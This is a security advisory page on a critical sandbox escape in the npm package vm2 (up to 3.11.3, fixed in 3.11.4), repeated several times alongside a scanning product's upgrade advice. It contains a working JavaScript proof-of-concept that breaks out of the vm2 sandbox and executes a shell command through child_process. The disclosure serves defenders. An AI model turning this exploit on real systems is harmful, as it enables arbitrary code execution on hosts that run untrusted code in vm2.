### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE
Update vm2 to 3.11.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanvm2 has a Sandbox Escape issue affects vm2 (npm). Severity is critical. ### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE
Update vm2 to 3.11.4 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanvm2 has a Sandbox Escape issue affects vm2 (npm). Severity is critical. ### Summary By combining `Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__")`, `Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__")`, and Node.js's `ERR_INVALID_ARG_TYPE` Error, the host's `TypeError` constructor can be obtained, which allows the escape from the sandbox. This allows attackers to run arbitrary code. ### PoC ```js "use strict"; const { VM } = require("vm2"); const vm = new VM(); vm.run(` "use strict"; const getProto = Buffer.call.call({}.__lookupGetter__, Buffer, "__proto__"); const setProto = Buffer.call.call({}.__lookupSetter__, Buffer, "__proto__"); async function f() { try { await WebAssembly.compileStreaming(); } catch(e) { setProto.call(getProto.call(e), null); } try { await WebAssembly.compileStreaming(); } catch(e) { const HostFunction = e.constructor.constructor; new HostFunction("return process")().mainModule.require("child_process").execSync("echo pwned", { stdio: "inherit" }); } } f(); `); ``` ### Impact Sandbox Escape → RCE
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|
| vm2npm | <=3.11.3 | 3.11.4 |
|---|
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard| Package | Affected range | Fixed version |
|---|
| vm2npm | <=3.11.3 | 3.11.4 |
|---|
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard